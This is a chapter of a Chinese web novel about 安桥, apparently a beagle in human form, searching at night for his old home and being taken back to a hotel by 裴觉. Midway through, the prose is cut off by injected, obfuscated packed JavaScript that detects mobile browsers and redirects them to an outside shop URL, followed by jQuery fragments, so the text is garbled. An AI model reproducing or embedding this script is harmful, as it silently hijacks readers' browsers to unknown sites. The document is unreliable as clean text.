晚上十点半,同安市没有夜生活,到了九点多就开始收摊子了,十点半路上除了苦命的遛狗人只剩下几辆车跑过去了。
安桥就这样拖着自己的行李箱到处溜达,试图根据记忆寻找自己的家,他的记忆里很好,并且有很丰厚的找家经历,所以这种难度对于他而言,并不算什么。
“嘟嘟——”
有车子从他的身边开过,安桥下意识看了眼,然后继续坚定地提着行李箱往前走,直到走到了一个熟悉的路口,安桥的眼睛骤然一亮!
他应该是又要找到自己的主人了!
安桥的动作瞬间快了起来,连续走了一个多小时的他出现在静源小区的大门口时,已经是晚上十二点了,门口保安亭熟悉的灯光让他感觉到非常的亲切,仿佛下一秒自己的主人就会从小区里狂奔出来,十分欣喜地抱着他。
他自信满满地挺着胸膛,迈出了自信的步伐,行李箱的小滚轮在地上咔嚓咔嚓地响着,安桥左右看了眼,精准地找到了自己以前的家,并且飞快地朝着自家的方向小跑前进。
“爸爸,那个人要干什么去啊?”一个小孩牵着一只小狗在遛弯,他爸顶着两个黑眼圈,瞅了眼自己面前的比格犬,精神恍惚道:“不知道啊。”
比格犬左边嗅闻一下,右边标记一下,然后回过头看了眼低精力的父子二人,非常不满地仰起头喊道:“werwerwer——”
小孩扯出了一个笑容,疲惫问道:“爸爸,我们什么时候回去睡觉啊?”
“我不知道……”孩子爸爸茫然地笑了声,道:“我也不知道啊……”
“werwerwer——”比格犬继续维持着超高精力在小区里到处遛弯,这点运动量,还没到它的一半。
安桥站在熟悉的单元楼面前,他仰起头看着这个地方,一切都是他熟悉的样子,虽然细节有些细微不同,但是不必在意,因为他很快就会看到自己的主人了。
他想他不在的这段时间里,主人一家一定也是非常难熬的,一定也很想他。
他提着自己的小行李箱,艰难爬到了六楼,站在了大门口,有些困惑地看着大门口的对联,轻轻歪了歪脑袋,如果他记得没错的话,这个对联应该被他撕咬得只剩下一半了。
因为更上面的部分,他身高有限,咬不到了,不过他现在非常满意地看了眼自己的身体,完美地弥补了他不能拆高处的缺陷。
现在这个家,可以说是三百六十度全方位无死角都在他的可拆范围内,并且安桥非常想念家里的阳台,每当它无聊的时候就会对着阳台开始“werwerwer——”,展现属于比格的独特魅力。
没有人不为他折服,他的魅力,无人可以抵抗!
werwerwer——
门口的烫金色对联显得十分喜庆,安桥抬起手拍了拍门,喊道:“开门!我回家了!开门!”
这是他的家,他的地方,现在他回来了!
但是依旧没有什么响动,安桥再次轻轻歪着脑袋,他继续抬起手拍门,道:“开门!开门!我是安桥!开门!我回来了!开门!开门!开门!我是安桥!开门!werwerwer——”
以往主人不开门,他就开始叫唤了,果然这次也很好用,他非常发达的听力瞬间启动,能听到里面传来了急促的脚步声,安桥站在门口等着这扇门打开。
然后他就听到里面喊道:“谁啊?大半夜的砸门!神经病吗?!”
“我是安桥,开门!”安桥喊道。
里面那人显然是被吵醒的,有些怒了,道:“我管你什么桥,我不认识你,你再砸门我就报警了!”
这一招对人有用,但是对狗就不一定了,安桥坚定地认为这就是他的家,他试图继续敲门,然而就在他抬起手的时候,却被一人抓住了手腕,安桥下意识转过头看向身边,不知道裴觉是什么时候来的,他直接一手攥住了安桥的手腕,拧起眉头低声斥责道:“别胡闹了,这是别人的家。”
“这是我家。”安桥委屈道:“我的家,难道我还能不认识吗?这是我家。”
“你……”裴觉看着安桥,对方眼神坚定,以至于裴觉都有些自我怀疑了,他转过头看向了这个门,再次问道:“你确定是你家吗?”
“真的是我家,我知道的。”安桥就差发誓了,他道:“我家!”
“什么你家!什么你家啊!这是我家,我有房产证的,这什么神经病啊!”里面的人都无语了,道:“大半夜的你们想要干什么?我跟你说啊,我报警了,警察很快就到了,你们别走!”
原本裴觉以为对方只是想要让他们走,没想到对方是真的报警了,面对警察,安桥显然有些疑惑,他一向面对陌生人都显得比较乖顺,这一点裴觉已经领教过了。
当初他还是“陌生人”的时候,安桥也曾经对他很乖顺的,只是……不提了。
“警察同志,你看啊,这是我的房产证,我根本不认识他!”业主指着安桥和裴觉说道。
安桥在看到业主的时候就愣住了,这不是他的主人,他下意识抬起头去看了眼这个房子,确定是自己以前的家,怎么可能呢。
裴觉见安桥不吭声,将人拉到了自己的身后,然后面对警察说道:“这是我弟弟,他之前发生过意外,才昏迷醒来,医生说精神状态有些异常,很抱歉今天打扰各位了。”
安桥最后是被裴觉拉走的,他坚持不肯走,但是裴觉绑架了他的行李箱,主要是里面还有他的碗,最后安桥就被拖走了,上车的时候,裴觉怒气冲冲地将车门锁上,给人佩戴好安全带,怒道:“你大半夜的不睡觉,你跑到这里来干什么?”
安桥还是扒拉车窗看向外面,他闻言扭头对着裴觉道:“那是我家。”
“人家有房产证的,怎么可能是你家。”裴觉根本不相信安桥的话了,他启动车子,道:“你老老实实给我待着,再大半夜往外跑,丢了我可就不找你了!”
“是我家。”安桥有些沮丧起来,他确定自己没认错的,可是为什么主人不在这里,难道是主人又走了吗,他就这样轻轻发出了“werwerwer~”的声音,这次可以往理直气壮的声音
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523079|203088||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不一样,听得有些哀怨婉转。
裴觉正在开车,他叹了口气,道:“你这是要送走谁啊。”
“werwerwer——”
“werwerwerwer——”
“werwerwerwerwer——”……
安桥从一开始的哀怨,已经到了非常不解地叫唤,直到后来满是情绪,没有半点技巧,裴觉已经有些麻木了,他听着耳边的叫声,甚至有时候安桥还试图趴在他的耳边叫唤,得亏安全带束缚住了他。
裴觉感觉下车的时候,耳边还是这个werwer的叫声,他感觉自己可能是真的需要做一下心理评估了,这个精神伤害实在是太大了。
“是我家,真是我家!”安桥被带下车的时候,拽着自己的行李箱,继续坚持自己的观点。
“好,我明天就让人查一下。”裴觉叹气道:“现在已经一点多了,我们先回去睡觉好吗?”
他半搂着安桥,强行将人带去了房间,本来是准备把人丢在安桥自己的房间,但是想到对方可能像是刚才一样半夜溜走,只好打电话给酒店前台,问道:“有没有双人间,给我开一个房间。”
“很抱歉先生,目前已经满房了。”酒店前台非常有礼貌地说道,依稀能从听筒里听到对面传来了“werwerwer——”的声音,她依旧很有专业素养地问道:“您好先生,我看您这是酒店客房的座机,请问您是否携带宠物了?”
“没有。”裴觉头疼道:“没有携带宠物,没有房间就算了。”
他挂断了电话,看了眼还在叫嚷着的安桥,只好认命般将人提溜到了自己的房间。
“自己去洗澡。”裴觉都被折腾出了一身的汗,他看了眼安桥,将人丢到浴室,毫无怜惜道:“今晚你睡在这里,不准叫了,明天早上我还得去工地,你……你跟着我一起去。”
“wer?”安桥茫然不解。
“去洗澡,不然……”裴觉的话音刚落,就看到安桥非常不按照常理地脱下了衣服,裴觉刚要说话,目光就落在了对方受伤的膝盖上,安桥似乎是在哪里摔着了,膝盖处淤青很明显,裴觉的语调一变,道:“你这是怎么回事?”
“你那天坐车走了。”安桥老老实实道:“我想追你,但是你太快了,我就摔了,我在家门口的台阶上等了你很久,很久,特别久……”
原本已经有些不耐烦的裴觉顿时微微一僵,他看着眼前正老老实实脱衣服去洗澡的安桥,对方摔得应该是有点厉害,现在才发现走路时一瘸一拐的,裴觉看他准备□□了,顿时将浴室门直接关上。
他坐在了阳台上看着夜空的景色,轻轻叹了口气。
“本来就是我欠他的。”裴觉低声喃喃道:“算了,他也没什么错。”
他让酒店多准备了两床被子,然后将床让给了安桥,自己睡在沙发上,一米八八的大高个蜷缩在沙发上,等到第二天早上的时候,腰酸背痛地在安桥的“werwerwer——”声中爬起来。
他甚至有一种“这样才对”的诡异错觉。